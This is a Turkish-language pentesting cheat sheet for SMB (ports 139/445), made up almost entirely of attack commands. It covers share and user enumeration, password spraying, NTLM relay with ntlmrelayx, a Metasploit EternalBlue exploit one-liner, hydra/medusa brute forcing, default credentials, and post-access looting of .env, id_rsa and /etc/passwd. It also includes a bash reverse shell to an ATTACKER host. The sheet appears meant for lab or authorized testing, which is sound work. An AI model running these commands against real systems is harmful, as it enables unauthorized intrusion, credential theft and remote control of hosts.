139,445 - Pentesting SMB
SMB windows
SMB paylaşım enum, null session, relay ve kernel CVE (EternalBlue/ksmbd) lateral/RCE üretir. Hedef lab IP’si üzerinde komutları 139 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
445 fingerprint.
-
Null/auth enum.
-
Share/loot.
-
Relay/CVE.
nmap -Pn -sV -p445,139 TARGETnmap -Pn -p445,139 --script smb-enum-shares,smb-enum-users,smb-vuln* TARGETnxc smb TARGETenum4linux-ng -A TARGETnxc smb TARGET -u users.txt -p 'Password123!' --continue-on-successsmbclient -L //TARGET -U user%passimpacket-smbclient DOMAIN/user:pass@TARGETimpacket-ntlmrelayx -tf targets.txt -smb2supportmsfconsole -q -x 'use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS TARGET; run'nxc smb TARGET -u u -p p -M spider_plusDerin enum
Section titled “Derin enum”,445 - SMB için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p139,445 TARGETnmap -Pn -p139 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:139' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',139));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → ,445 - SMBKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 139 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 139nmap -p139 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit SMBmsfconsole -q -x 'search SMB; exit'nuclei -u https://TARGET:139 -t cves/ -silent -severity || truenuclei -u http://TARGET:139 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 139printf '' | timeout 3 nc -nv TARGET 139curl -vk --http1.0 http://TARGET:139/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”enum → creds/CVE → share loot / shell